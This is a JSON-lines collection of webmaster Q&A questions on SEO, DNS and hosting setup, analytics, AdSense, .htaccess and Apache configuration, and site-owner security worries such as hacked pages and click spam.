{"id":"51282","title":"How to achieve SEO for XHTML pages which load data in DOM using a JQuery-AJAX service calls?","text":"I have a simple website (5-8 XHTML pages and a payment gateway to be done) with about 1500 products having a fix SKU\/product code. sample URL for the query: **http:\/\/www.domainname.com\/product- detail.html?20001-1P16AX** and I'am pulling data via a **JQuery\/AJAX service calls** and pushing it to to the DOM. The meta tags, (data in bold italics) i want to populate via **service calls** as under * <meta name=\"description\" content=\" ** _20001-1P16AX,20001 - 1P 16AX 1-way switch grey,EIKON,175_** \" \/> * <meta name=\"keywords\" content=\" ** _20001-1P16AX,20001,switch,grey,EIKON,175,SWITCH,GREY_** \"\/> * * * My query is ... * Can we load SEO data in meta tahgs via **JQuery\/AJAX service calls**? * Whether Google or other popular search engines cache this dynamic data and redirect to the **EXACT** product page when searched? * Is there any better way to achieve SEO\/perform search for the above said scenario? I would be very happy to hear from all you experts, please suggest. Thanks NBaua"}
{"id":"58699","title":"Visits from internal path","text":"I have an online shop with a blog structured this way: * Shop: `domain` * Blog: `domain\/blog` Both index have the same Google Analytic Code (UA). In the blog I write articles about some products with a link to the product page. Now the problem is, I want to get all visits whose referral links have this pattern `domain\/blog\/*`."}
{"id":"68353","title":"Should I disallow(robots.txt) archive\/author pages with links already available on the front page?","text":"I am working on a simple Wordpress blog where when an article is published, it appears on ALL these pages: 1. Homepage - Headline(clickable) + 3-line summary 2. Parent category page - Headline(clickable) + 3-line summary 3. Child category page - Headline(clickable) + 3-line summary 4. Author page - Headline(clickable) 5. sitemap.xml A good example of what I mean is: http:\/\/wp-themes.com\/twentyfourteen\/ The \"Worth A Thousand Words\" article is available on the homepage. But it's also available on the category page: http:\/\/wp-themes.com\/?cat=1 And finally, it's also available on the author apge: http:\/\/wp- themes.com\/?author=1 Does it makes sense to let Google crawl http:\/\/wp-themes.com\/?author=1 knowing that all links on that page were already crawled elsewhere? I've been in fact told that I should add all author pages to my robots.txt, under disallow, so as search engine bots do not spider \/author\/*(or anything with ?author for the above example) since all links on these pages are indeed available elsewhere. Is this a good approach or maybe rel=nofollow is better, or maybe I shouldn't worry about this at all?"}
{"id":"68351","title":"Country specific SEO","text":"I have a wordpress site which is located at a .com address. The site is a simple 4 page personal site with my academic credentials, publications and a health blog that I started. I have done quite a bit of seo and I rank pretty high for the keywords i want on google.co.uk. However, I do not rank at all on google.com.mt which is the Malta specific search. I have therefore just bought the .com.mt domain and pointed the DNS nameservers to my current host provider and redirected it to the .com address. My goal is to make sure I don't screw up my google.co.uk search ranking, while starting to rank on google.com.mt I'm I doing the right thing or do you have any suggestions??"}
{"id":"33897","title":"Does it matter that the TTL is higher than I've been told?","text":"Ok, so the title isn't very descriptive, I know. Basically, I'm trying to configure Outlook.com to use my custom domain! I've followed the steps and made the account etc. and now I have the DNS settings to configure from Windows Live. I added the MX Entries and everything last night but Windows Live is still saying I need to prove my ownership of the domain. The only thing I can think of that I had to use a differrent TTL to the one provided because my web hoster will only allow a minimum of four hours, whereas Windows Live told me to configure the TTL as one hour. Would that stop anything? By the way, my web hoster is JustHost (Shared Hosting)"}
{"id":"33890","title":"Google adsense bombing","text":"I made a website few months ago and put google adsense on it, but someone kept clicking on ads with bad intentions, e.g. google bombing I guess but as result they disabled my google adsense account, now I wonder how did this all happened and what steps should I take in future to stop such kind of attacks. Is there any tricks or tips to save your website from bombing of invalid clicks ? what ways do normally hacker use to bomb adsense on a website ?"}
{"id":"68359","title":"How to batch remove spamming users and pages they created on MediaWiki?","text":"I'm trying to clean up a MediaWiki instance which has been subjected to spamming and vandalism for a period of time. The current status is that there are a large number of users which only created spam pages but typically not altered legitimate pages. And there is only < 10 users which I know are legitimate users and created a small number of legitimate pages. Abstractly, my idea of fixing the messy situation is to find the complete list of users that are not in that small set of legitimate users, and use RenameUser extension to rename them all to a `Spammer` user, and use Nuke extension to mass delete all pages it created. Any practical advice on how to proceed? Since there are hundreds of spammer users, how do I effectively rename them? It seems Renameuser extension does not support automated batch renaming of users by allowing users to be renamed with a list or file."}
{"id":"9220","title":"How do I temporarily reference a new web host using my existing domain name?","text":"On provider A I have an existing web hosting account running my site. On provider B I have my domain name registered pointing to the web hosting on provider A. I've just purchased a web hosting account with provider B and want to move my site there. Is there a way to temporarily use my domain name to point to provider B while I set up the site (e.g. just from my computer)? I tried to change the HOSTS file (Windows) and while pings resolved to what I set, HTTP requests don't."}
{"id":"68602","title":"Reporting and stopping fake website","text":"On Bing and Yahoo (and apparently briefly on Google), we have some websites that are buying up somewhat randomly named domains like `autquahna.com` and `autmusgfn.com`. They put our company name in the meta keywords, and are essentially stealing web traffic from us by putting our company name in the footer of their website. Of course, WhoIs lookups only show fake\/protected information. At the end of the day, we want to get these pages reported\/removed, as the sites aren't associated with us in any fashion. How do we go about reporting them, etc?"}
{"id":"54519","title":"Links shown in organic keywords in Google Analytics","text":"While using Google Analytics, I have observed that many a times some URLs of my website are themselves shown as the keywords. I think its very odd that my users would type complete URL in Google search. So, how do URLs get into the keyword section? I am attaching a screenshot where you can see some of the URLs: "}
{"id":"33892","title":"adsense click spamming","text":"## Questions * What software do people use for adsense click spamming ? * How are they structured ? * How does it work ? * How can we block them ? I tried looking at google but not much information there already."}
{"id":"67364","title":"Where is the data for items added to a shopping cart stored if not logged into the site?","text":"Sites like Amazon allow you to add items to your shopping cart without requiring you to first log in. My question is where do they store this data? This data still seems to be there even if you restart the browser too."}
{"id":"22395","title":"My Sites Were Hacked. What To Do?","text":"I host multiple domains with this very popular hosting provider and I just went into one of my sites and... I see a black page with message \"Hacked by...\". I checked and all my sites with the provider are showing this same page. Inside of file system I have seen the hacker placed all default.* and index.* files with this message. So the hacker overwrote all index pages, placed new pages and that is under every, I say again, every folder. Cleaning this up will be close to a most horrible job. What to do (right now I am awaiting the restore of files from hosting provider)? How to prevent this? Whom to blame?"}
{"id":"67368","title":"\"Local\" results from a google search","text":"I entered \"online dating\" in Google, and I found some of the results are \"local\" (I'm in Ottawa, Canada). In the attached images see the results for `www.okcupid.com` and `www.eharmony.com`. Is this something Google does automatically or is there some metadata that the sites publish? "}
{"id":"34994","title":"URL masking with .htaccess","text":"I need a hardcore programmer to help me with URL masking. So this is my situation. 1. My website www.michaelfotograf.dk\/blog\/ is the main site that needs to be configured. 2. I have another website\/webhotel called www.umagepar.dk 3. www.umagepar.dk is redirected to www.michaelfotograf.dk\/blog\/ 4. The blog is an ongoing project where i post a lot of stuff to get my ranking higher on google. 5. www.umagepar.dk which redirect to www.michaelfotograf.dk\/blog\/ is also a project on is own, so I do not want people to know, that it is a blog connected with www.michaelfotograf.dk\/blog\/ 6. I therefore need to mask www.michaelfotograf.dk\/blog\/ so it will be called www.umagepar.dk in the URL in the searchbar at all times! How can I do this?"}
{"id":"24527","title":"Include number and date in Apache log file names","text":"I'm trying to figure out how to include the current date and the IP number of the current host inside the Apache log file names, but I fail how to see how I can do that. Part of that has to do with the fact that I don't understand the log rotation mechanism that seems to be enabled by default. Haven't been able to find any documentation on why I have `access.1.log`, `access.xxx.gz.log` files. (I mean, I _do_ understand that it is log rotation, but I _don't_ see how I can influence it. I also understand I could pipe log output through some sort of command to include the current IP number in the file name, but I would assume I would lose my log rotation that way. Basically I want the current mechanism, but then include the IP number in the name, and a date rather than a number.)"}
{"id":"30366","title":"A simple message room","text":"Can anyone recommend a simple message room (not chat room) which I can use for a private communication between my users. My idea: to grant some users (2-3 at the most) a specific privilege to talk privately in a message room. none of them would be administrator there. I need such features: - admin panel for adding users allowed to post messages in room - room invisible to anyone except users - filtering not-allowed words - Ajax-enabled so that replies appear immediately - other message room features I have a linux hosting so PHP message room would be the best option. I thought of using a forum for this, but it's too much work as a forum is public by nature and I need something **private by nature**. Any ideas? Thanks in advance."}
{"id":"42519","title":"How to successively transform a static page (image gallery) to a product type page?","text":"A website with about 700 static pages, where about 20 of these are basically the same page that displays products that are custom made in a image gallery like enviroment. The point of having these pages is to attract people that search for different keywords in the same category. All products are built differently, with different materials, sizes, etc, even though they fall into one category. I've noticed that this page does not receive a lot of visitors, and I would like to make it more \"Product like\" than an image gallery per se, attracting more visitors willing to buy such items. I've done the following: * Created a master page with all products, codes and material available Then, in each page: * A button to request a product quote with a form * Material type (and option for different materials, so the same product can attract people looking for the same thing in a different material) * Description of product * Details * Product code But still, these will be static pages, and I can't really sell anything online, since all products are custom made to order. What other techniques can I also apply so these pages become more \"catalog like\" to search engines? Is adding things such as \"Buy such product\" on keywords, and on description tags, title a good idea? What else can I do to improve these pages visibility to potential customers? **Note:** I'm not asking about user experience in these pages, I'm asking about search engines. **Other considerations:** All pages are indexed by SEs, and most traffic comes from image search. All images are named after product (not product code), and they all have proper alt and title tags. Thanks, Cheers!"}
{"id":"50094","title":"Daily blog archives and duplicate content","text":"A few weeks back I realised that my blog software was creating daily post archives. Which basically resulted in duplicate content especially if I only had one post a day. The situation is something like this: www.sitename.com\/blog\/archives\/2013\/06\/01 - daily archive for 1 June 2013 www.sitename.com\/blog\/archives\/2013\/06\/my-post-name.html So, here we have two pages that are basically identical except the daily archive has some meaningless title like \"Daily Archive for 1 June 2003\". And I have no control over which content Google decides is the primary content. It's quite possible (and likely) that the daily archive could be the \"primary\" content and the actual post itself the \"duplicate\". Once I realised it was doing this I modified the daily archive template to include <meta name=\"robots\" content=\"noindex\"> Here we are a few weeks later and I still see some daily archives coming up in Google search results. I realise some of those deep pages might not be crawled yet but I am worried that the original post (which should be the PRIMARY content) has been marked duplicate content by Google. Now I've no indexed the daily archives I might end up with no indexed content AND the original articles still flagged as duplicates. And nothing will show up in search at all. Have I screwed myself here or is there a way out?"}
{"id":"50090","title":"Will a redirected subdomain lose Google SEO links?","text":"Because of a change in brand, I want to redirect our `subdomain.domain.com` to `newdomain.com`. The content being exactly the same, I was thinking of using a 301 wild card redirect to `newdomain.com`. I noticed it is not possible to do a redirect in Google Webmaster Tools as you can with a root domain. Is there a way I can do this redirect without losing all the backlinks referenced with Google?"}
{"id":"1287","title":"How to find out if a logo has already been used\/exists?","text":"I have few concepts of logos for a website. How do I know a specific concept that is finalized, is already used by some other website or not?"}
{"id":"1286","title":"Is there an index of the IP addresses used by indexing bots?","text":"I have a page that gets minimal traffic, but I set up static notifications when it gets hit. Now, I want bots to get ignored, so what I'm doing now is adding bots I see to a \"no notify\" list. Is there a reference listing of the IP addresses used by indexing robots? e.g, a list like: $no_mail = array( '67.195.115.105', \/\/ yahoo bot '207.46.199.50', \/\/ msn bot '61.135.249.246', \/\/youdao bot '207.46.199.32', \/\/ msn bot );"}
{"id":"1281","title":"Google Webmaster Central Channel","text":"Since there are so many Google Webmaster Central videos on Youtube which one do you think every Webmaster should see? http:\/\/www.youtube.com\/user\/GoogleWebmasterHelp"}
{"id":"31131","title":"I'd like to use iframe to videos and contents posted other sites?will I be violating any law","text":"> **Possible Duplicate:** > Loading another domain's content in a modal iframe - acceptable? My url is www.indiaracetips.com and if I use iframe in my site will any one sue me?"}
{"id":"1283","title":"Adding comments to static pages?","text":"I've used disqus on a few sites successfully. Are there any other solid solutions for comments for static websites? (For new sites, I tend to use a CMS that includes comments)."}
{"id":"11165","title":"Link value of links from social media","text":"As a SEO you can benefit from Social Media activities and it even seems key according to Matt Cutts recent video on SEO in 2011. However besides getting 'inbound links' from third party websites or blogs as a result of people that have noticed e.g. your Twitter Tweet or Facebook Post you will, most likely, also receive links from the social media pages itself. **Now, when talking about 'link-value' would Googlebot consider a link from a Social Media page the same value as a link from a website or blog?** Please note: It goes without saying that I understand that the page must be publicly visible, not restricted by e.g. htaccess, should be lacking no-follow tags and that in case an url is shortened it should be done by applying the appropriate redirect. The question is solely about the valuation of a link published on a social media platform."}
{"id":"14402","title":"Being a Good Webmaster is so hard?","text":"How do you define a good Webmaster ? Because there are a lot of people can say \"I'm a webmaster\". And i say them \"Yes you can use a lot tools, software etc. but this doesn't make you a Webmaster\".. What is the features of a Good Webmaster? Is it so hard to be? What do you think about that?"}
{"id":"32574","title":"Google Indexing URL that is a 301 redirect","text":"My website URL structure is: http:\/\/www.website.com\/{record-type}\/{record-id}\/{human-readable-name} If an invalid human readable name is provided, the page 301 redirects to the correct URL. I've noticed recently that Google has started indexing partial URLs, i.e: http:\/\/www.website.com\/{record-type}\/{record-id}\/ If I make requests to those indexed URLs, I am 301 redirected to the correct page. Is there a way to force Google to use the 301 redirected URL?"}
{"id":"8761","title":"Is there value in creating additional backlinks when you're already first on Google?","text":"My site is already ranked #1 in Google for the keywords I care about, but I'd still like to increase traffic. Is there value in trying to create additional backlinks to my site?"}
{"id":"34336","title":"Meaning of hack request","text":"We've been logging GET requests on our domain to the following: `XX\/YY\/ZZ\/CI\/MGPGHGPGPFGHCDPFGGHGFHBGCHEGPFHHGG` Is this a known kind of attack? What might it be targeting?"}
{"id":"1575","title":"Do sites in subfolders affect the ranking of the main domain?","text":"Does putting an unrelated site in a domain's subfolder (to avoid buying a new domain name) affect the domain's search engine ranking even if there are no links between them? For example, is it a bad practice will placing a cooking site at `programming.com\/cooking` affect the search engine ranking of `programming.com`?"}
{"id":"8811","title":"Online advertising program where publishers (site owners) can choose ads?","text":"> **Possible Duplicate:** > Self ads targeting I'm wondering what online advertising programs there are out there where the site owner can chose which relevant ads to put on particular pages from a large selection of possible ads. Is there such a thing? (As opposed to adsense style 'auto-relevance' which often produces poor results)"}
{"id":"30017","title":"PHP accessible shared content between two websites on the same VPS on different domains\/IPs","text":"I have two ecommerce websites, selling music digital downloads, on the same VPS, currently using cPanel\/WHM (but thinking of switching to Virtualmin). They have separate domains and IPs of course. They both share from the same set of music files, so I have duplicate copies in each website directory, which takes up a lot of disk space. How might I go about sharing the same set of music files across both sites, allowing PHP access, so that it does not break my shopping cart's functionality of serving customers the downloads after they have paid for them? I thought of maybe using symlinks or something, but I don't know if it's possible, or if it would have to somehow circumvent built-in security features of the server. I'm new to VPS management."}
{"id":"59112","title":"Google redirected blog no longer getting found easily","text":"I found to my surprise that when I published a new post on my blog (hosted by Googles blogspot.com) and then searched for the title in Google Search it would show up as one of the top hits almost immediately. But now I have the post redirecting to my own subdomain, and even though behind the scenes it is still hosted by Google the blog is not coming up in the search results, although a link to the page from my GooglePlus account is coming up (but this is not as good for me as an actual link to the blog itself)"}
{"id":"58884","title":"What is the folder picture_library on my Plesk panel on a site hosted at GoDaddy","text":"I have my website hosted with godaddy. It's not even a month since I hosted with them.( _actually, the site itself isn't older than a month_ ) When, I logged in to my Parallels Plesk, I saw a folder named **picture_library** I tried to see what's inside that, but there was nothing. It came back even after I deleted it twice. 1. I didn't create a folder with that name, so its not in my code. 2. I didn't think my website, ( _which is not even a month old_ ) will attract hackers :) 3. There's little possibility of virus or something because, GoDaddy is the Market Leaders and I don't think that their servers will be vulnerable to such attacks. My Actual Question: Is it a virus or hacker and how to disable it?"}
{"id":"5628","title":"add stock intro and outro to a set of .mp3's?","text":"If I have a bunch of existing podcast mp3's, with no intro and outro, can I do something simple to add a stock intro and outro (supplied as .mp3's) to each podcast?"}
{"id":"28186","title":"Using GoDaddy email AND Google Apps","text":"We have 8 people that need emails addresses in our company. 3 need email only, while 5 need emails and the features from Google Apps. We would like to continue to host email for the 3 on GoDaddy, while using Google Apps for the 5. When we insert the MX records in GoDaddy, the 3 no longer could send\/receive email, since we were redirecting email to Google. How can we redirect email to these 3 employees through GoDaddy, while keeping the 5 on Google Apps?"}
{"id":"32720","title":"Creating an SSL Certificate","text":"I have a barracuda SSL VPN. I also have a website hosted on winhost.com. On my website, I have a link to login to my VPN. I always get the \"untrusted certificate\" message. It says its untrusted because the certificate is not signed. This leads me to believe there is a certificate there, it just isn't set up correctly. Can I make my own SSL Certificate for the barracuda VPN, or do I have to buy one? Does barracuda provide a certificate for me? Could I call them up and get them to give me a certificate? I have dabbled in web design\/programming a bit, but I know NOTHING about these SSL Certificates other than what I've researched this morning. If I can make my own, how do I go about doing that? Thanks"}
{"id":"62960","title":"Is tos.html some kind of standard Terms of service filename?","text":"I periodically check my log of 404 errors on my site, and aside of most curious hack attempts I often encounter requests for files that are some kind of standard on a specific platform (apple-touch- icon-`SIZE`x`SIZE`-precomposed.png is one of them). And I have just found failed request for tos.html. When I searched it on google, it automatically searched for key \"Terms of service\", which has led to many terms of service pages, but no information about this kind of filename. I'm quite curious if there's a word for files that should be on the site (index.php, favicon.ico, robots.txt - I couldn't find any relevant tag for this question)"}
{"id":"8493","title":"How can I know if my site is down?","text":"I would like to be alerted if my site is down (for example have an email sent to me). The site is written in asp .net it is deployed on a dedicated server, windows 2008 with IIS 7"}
{"id":"8491","title":"Where can I find Mambo 3 downloads \/ documentation?","text":"Does anyone know where I could find copies of the Mambo 3.0.x distributions, manuals and (ideally) instructions for upgrading to Mambo 4.x or Joomla? I have an old site implemented in Mambo 3 that needs to be upgraded. It doesn't work with PHP 5 without hacks that compromise PHP security, and the site admin and navigation menus are broken for \"modern\" browsers; e.g. IE6 and later."}
{"id":"34153","title":"Is there any reason to still use a standard shared web host?","text":"There are a few PAAS providers that now provide a free tier of service and cheap prices afterwards. Some, such as AppFog and OpenShift, also offer easy installations of common web apps such as Wordpress. Is there any reason to still use a standard web host for hosting things like PHP scripts or Ruby on Rails apps?"}
{"id":"55904","title":"How to handle browser-compatibility check for your website","text":"Whenever I redesign a website, I spend a lot of time manually checking whether the new website is still supported on all major browsers by opening the website on the corresponding browser. What is a time-efficient way of testing cross browser compatibility?"}
{"id":"34158","title":"How to evaluate a web developer?","text":"I want to hire someone to set up a website. What do I ask to determine competence and integrity of the individual? Is there a chart of reasonable charges\/costs? How do I know if I am being over-charged?"}
{"id":"38355","title":"How does Wikipedia's SEO work?","text":"I'm currently developing an app for Android and iOS and of course I'm thinking about the best ways to market it. Last night I Googled somebody else's app and the third link in was a Wikipedia page on it. I never even thought of apps having Wikipedia pages, but alas there it was. And of course it was very helpful in determining exactly what the app did and in what cases it was useful for (something that's absolutely crucial for potential customers to understand). So then I got to thinking that I should create a Wiki for my app, but how does Wikipedia apply SEO? I know that the question could be overly complicated or specific, I'm just looking for general answers. For instance when somebody Googles my app, where does Wikipedia display on the results? When I create a Wiki for my app, how do I ensure that the Wikipedia page shows in the search results (is there any way to do that? ) I'm sure I'll find all of this out later when I create a Wiki for my app, I guess I'm just asking this out of curiosity. So how does Wikipedia's search engine optimization work? (on a page by page basis)"}
{"id":"30955","title":"Funnel Visualisation not showing drop out in steps","text":"I have a site where users will follow this path (hopefully): `mysite.com\/entity` `mysite.com\/entity\/pay` `mysite.com\/entity\/pay\/details` `mysite.com\/entity\/pay\/confirmation` `mysite.com\/entity\/pay\/payment` `mysite.com\/entity\/paymentsuccessful?lotsofuniquestuff` The `entity` section could be any one of a multitude of entries, but once the user is on a journey it will stay consistent. I have a goal set up for this as a regular expression, with the match being `.*PaymentSuccessful.*`. This detects goal successes perfectly (as checked with data stored by the site directly). I have set the following steps within the goal: \/[a-zA-Z0-9]+\/pay \/[a-zA-Z0-9]+\/pay\/details \/[a-zA-Z0-9]+\/pay\/confirmation \/[a-zA-Z0-9]+\/pay\/payment My funnel detects entry into the funnel (e.g. 47 users) of which say 10 complete the funnel. However, all drop offs are after the first step, even though the exist page is listed as the second step! My data also suggests users are getting further in the funnel before failing to reach the goal. What have I done wrong?"}
{"id":"35067","title":"iOS Touch Icon through XLSX file?","text":"I'm setting up some iPads, and pointing Safari to `www.mywebsite.com\/spreadsheet.xlsx` and it's displaying the document fine. That part is OK. I'm just wondering if there is a way to add a iOS Icon to the document so I can save it to the springboard of the iPad? Maybe embedding the document in HTML? PHP could also possibly be used but I'm really not sure how I would go about doing this, has anyone managed anything like this before?"}
{"id":"23277","title":".htaccess guide \/ examples \/ tutorials?","text":"Does anyone know of any good guides for someone new to editing and making .htaccess files. Anything about rewriting urls, directory access and passwording a directory would be great."}
{"id":"5996","title":"Which is better between changing Nameservers and changing DNS \"A\" Records?","text":"I have my hosting on Godaddy and domain on another server. So I was thinking which would be a better option to point the domain to Godaddy hosting 1. Change the name server to that of godaddy. 2. Change the DNS \"A\" Record on the site where I have bought the domain. thanks... \/neer www.technimi.com"}
{"id":"46631","title":"Does Google Analytic count mismatching\/unconfigured URLs?","text":"Say url `www.mysite.com` is registered in Google Analytics and the tracking ID is `UA-12345678-90`. What happens if another site with URL `www.anothersite.com` uses this ID too? Does analytic count visits from both sites or does it only take visits from `www.mysite.com` into account? What happens if there is a redirect from `www.anothersite.com` to `www.mysite.com`?"}
{"id":"11579","title":"Small and free animated icons","text":"Anyone knows a good resource on the web with animated icons? Like animated pencil or something like that. Thanks ;)"}
{"id":"44673","title":"Unusual Spike in Traffic","text":"My site received unusual spike of traffic today and they are all from the US, which is outside of my market. My site normally gets about 70-80 daily entrances according to Google Analytics, but there were 350 direct traffic today, and mainly from the states. Could it be someone is trying to hack into my site? If so, what actions could I make to avoid my site from being hacked? Thanks, J"}
{"id":"11572","title":"How to Automate Checking for Stolen Content?","text":"So I know about tools like Copyscape and Google Alerts.. great tools, but it's quite tedious for me to copy and paste an URL or phrase for every one of my pages in my sites. Is there any tool out there that monitors your website and emails you or alerts you whenever someone has stolen content from your site? The only service I know is CopySentry and honestly, it's too expensive for me since I got thousands of pages I want to monitor... Anyone else have this problem? or is it just me? Thanks for any help."}
{"id":"11571","title":"Google AdSense - set minimum CPC?","text":"I have a sports site. It was making like $0.75 per click for couple of months. Now suddenly, average CPC has dropped to $0.5 or even $0.4. Sometimes, I even see $0.2 or $0.08 per click. Is there an option to set minimum CPC for your ads as a publisher? I can't find it anywhere on AdSense but competitors like Adbrite seem to have it."}
{"id":"19387","title":"How to block certain pages\/files of a web domain?","text":"How do I make certain pages only viewable by me? For example, let's say I own `mydomain.com`, and I want to be the only one that can see `mydomain.com\/mypage.php`. I tried changing the permissions of the file to 700, but then I just get a 'you don't have permission' error when I try to access it. Any ideas?"}
{"id":"64780","title":"How to run WordPress and Java web app running on Tomcat on the same server?","text":"I have to run a WordPress site served via Apache2 & Java-based webapp using Tomcat on the same server. When users come to `example.com` or `example.com\/public-pages` they need to served from **WordPress** but when they come to `example.com\/private-pages` they need to be served from the **Tomcat**. I have asked this question on serverfault where they suggested using different port, different IP & sub-domain. I want to go for `different port` solution since it will mean I need to buy only one SSL certificate. I tried doing the reverse proxy method by having the following in my `default- ssl.conf` <VirtualHost _default_:443> ServerAdmin webmaster@localhost ServerName localhost:443 DocumentRoot \/var\/www <Directory \/var\/www> #For Wordpress Options FollowSymLinks AllowOverride All <\/Directory> <Proxy *> Order deny,allow Allow from all <\/Proxy> ProxyRequests Off ProxyPass \/private-pages ajp:\/\/localhost:8009\/ ProxyPassReverse \/private-pages ajp:\/\/localhost:8009\/ SSLEngine on SSLProxyEngine On SSLCertificateFile \/etc\/apache2\/ssl\/apache.crt SSLCertificateKeyFile \/etc\/apache2\/ssl\/apache.key <\/VirtualHost> As you have noticed I am using `mod_proxy_ajp` in Apache2 for this. And that my Tomcat is listening to port `8009` and then serving content. So now when I go to `example.com\/private-pages` I am seeing the content from my Tomcat. But 2 issues are happening. 1. All my static resources are getting 404-ed, so none of my images, CSS, js are getting loaded. I see that the browser is requesting for the resources using URL `example.com\/css\/*` This will clearly not work because it translates to `example.com:80\/css\/*` instead of `example.com:8009\/css\/*` & there are no such resources in the WordPress directory. 2. If I go to `example.com\/private-pages\/abcd` I am somehow kicked to the WordPress site (which obviously displays a 404 page). I can understand why #1 is happening but have no clue why the #2 is happening. Regardless, if there is another clean solution for resolving this, I would appreciate y'alls help."}
{"id":"25725","title":"Javascript slider with fade","text":"I've been scouring the web for a slider that offers a particular effect, but I can't find one. I'm hoping that someone here will be able to help out... Specifically, I need a slider that will slide left and right through a series of HTML DIVs. However, I also need the old slide to fade out as it slides. This is because I don't what to have a visible frame around the the slider, so I don't want the old slide to be cropped against an invisible edge. It's hard to explain in words, so here's a graphic. In each case the green slide is entering the view, the red one is existing.  Is possible, I'd like the slide to use CSS3 transitions where available for the smoothest possible effect. Has only ever come across such a beast?"}
{"id":"43862","title":"Have UserDir enabled but also want to rewrite url if called differently","text":"I am setting up a new server for our users to use have have personal webspace on. I have in my httpd.conf of apache the directives for UserDir as follows UserDir disabled root UserDir public_html This has allowed ``http:\/\/myserver\/~user\/`` requests to work but I am also looking to set it up so the pages can be accessed via ``http:\/\/myserver\/users\/username`` How can this be done? I had thought about mod_rewrite rule but have thus far been unsuccessful. EDIT: Essentnally I am looking to take the ``http:\/\/myserver\/users\/username`` requests and either point them or rewrite them to ``http:\/\/myserver\/~user\/`` whether it changes in the address bar is irrelevant at this time."}
{"id":"25051","title":"How can mixed content compromise an entire HTTPS session?","text":"Google Chrome is probably one of the stricter browsers out there in terms of highlighting SSL errors. Most browsers will point out when you are viewing an HTTPS page which loads insecure images\/Javascript, I understand how this is a security issue - an attacker could have modified the non-SSL content in a way which gives them access to the secure content, injected some javascript for example. However once you have viewed an HTTPS page with mixed content, Google Chrome will continue showing you the mixed content warning (a red line through the 'https:\/\/') for as long as you stay browsing the same domain, even for subsequent pages which only include other HTTPS resources. Only once you navigate to another domain, or open a fresh tab does it tell you you're secure again. What is the danger it's protecting you from here? How could mixed content on a previous page _actually_ affect the security of subsequent secured pages? I understand that mixed content should be flagged up, but there must be a specific reason that Google is persisting this warning, other than \"Well you _still_ need to know about it\""}
{"id":"30950","title":"Using gmail \/ Google apps affecting ranking","text":"In the company i work in our boss has told us to stop using gmail for any kind of company communications including not using google apps anymore. He said that he was told that with the new Google policy they're reading user e-mails (we all knew that) and that they will use that info to see if a user is trying to buy traffic, linksharing, etc, you know, the kind of seo optimization \/ traffic stuff that google doesn't likes. And he said that that will affect the ranking now. More in detail: according to him, an e-mail from a business partner telling me to buy sites for traffic, will impact my seo ranking the same way that people exchanging links through e-mail does. My opinion is that this is paranoid. Yes Google could do it, but they would need lots of logic to detect possible emails about user conversations about buying traffic. But more, no sofware can detect that with accuracy, only a human can then somebody would have to read the e-mail at google's. And that is privacy invasion. And not only that, i can't imagine the amount of people reading who-knows-how-many e-mails. Plus, like i said it would too close to the privacy boundary. Why would google invest millions in this while they can easily improve their algorithm (like penguin) ? What do you think. Is is highly likely ?"}
{"id":"39479","title":"301 redirect causes issue in web tools for analysis of performance in Pingdom","text":"I was googling all over the pages, trying to find what could be wrong before trying to contact the developers at tools.pingdom.com, gtmetrix.com, juxseo.com, and other sites. Since I have changed my .htaccess file to handle the 301 redirection, forwarding mydomain.com to www.mydomain.com, those web tools do not work proper anymore. Here is my .htaccess of my php application hosted at cpanel. IndexIgnore .htaccess *\/.??* *~ *# *\/HEADER* *\/README* *\/_vti* *\/robots* *\/oc-admin* <Limit GET POST> order deny,allow deny from all allow from all <\/Limit> <Limit PUT DELETE> order deny,allow deny from all <\/Limit> AuthName mydomain.com AuthUserFile \/host\/mycpanelusername\/public_html\/_vti_pvt\/service.pwd AuthGroupFile \/host\/mycpanelusername\/public_html\/_vti_pvt\/service.grp RewriteEngine On RewriteBase \/~mybasefolder\/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/~mybasefolder\/index.php [L] #maybe this is causing issues to pingdom.com RewriteCond %{HTTP_HOST} ^mydomain.com$ RewriteRule ^\/?$ \"http\\:\\\/\\\/www\\.mydomain\\.com\\\/\" [R=301,L] #set the charset and not in html (a best practice) AddDefaultCharset utf-8 _So, anyone maybe could give me a clue?_ here is the pingdom result after adding the Rewrite statements "}
{"id":"6783","title":"How to Edit Simple Flat CSV Text Files Online?","text":"For a new website a team of translators will be editing each their own comma separated text files, files like `de.txt` `fr.txt` `cn.txt` etc. All such files reside in one and the same directory. Each file contains lines of plain text: on every line there are English word(s) then after a delimiter character like `;` the translation in German or French etc. follows. there are about twenty of these txt files. I would like to open up the access to such files, by allowing the translators to go online and then login in to some kind of simple plain-text-editor. Be able to read the English text and edit\/correct the translations themselves, instead of manual labour cpy pasting from faxes microsoft word document and god knows what other ancient technlogies! **QUESTIONS** * What solution\/technique(s) would you advise me to use here? * Are there ready-to-implement solutions, or do i have to reinvent the weel? * Would a single php program file suffice? and do the job in this directory? * Or does it need to be in ajax for a live feeling?"}
{"id":"27389","title":"Appropriate designation for a personal email address at yourname.com","text":"Say your name is John Doe, and you own johndoe.com. What are the best practices for identifying your personal email at that domain? * john@johndoe.com is redundant * me@johndoe.com seems a bit juvenile * info@johndoe.com and webmaster@johndoe.com are too impersonal Am I missing a more appropriate alternative? (I know this is on the fringe, but I'm hoping it's just north of objective--or at least interesting enough to the community to get some good feedback.)"}
{"id":"53476","title":"Should I accept the outsiders blog content creators offerings?","text":"It's become quite common to receive offers of blog-posts content for a dynamic website. Some of these offers are unrelated, and of-course shouldn't be published. However, I did get some related offers and wondering about them. Correct me if I'm wrong, but I assume this tactic is basically an up-to-date black-hat SEO, that is creating real content with links to sites they are trying to improve ranking for. This makes me wonder, can it hurt my site if I include these blog-posts? Of- course I'm only referring to posts that seem relevant to my audience."}
{"id":"53455","title":"Can I use the words Python, Ruby, or Perl in a domain name?","text":"I was wondering, can I use any of the following words in a commercial domain relating to that specific industry? `www.xxxxxPython.com` Python doesn't seem to be trademarked as this word and also there seems to be other websites using it in their name. `www.xxxxxPerl.com` This seems copyrighted and almost certainly not likely. `www.xxxxxRuby.com` Ruby is sometimes called Ruby on Rails. Again it seems to be used on other commercial sites, but that doesn't mean it is OK to use. My question is, am I going to be alright to run a commercial site using any of these domains, or is having these words in my domain ultimately going to cause me issues?"}
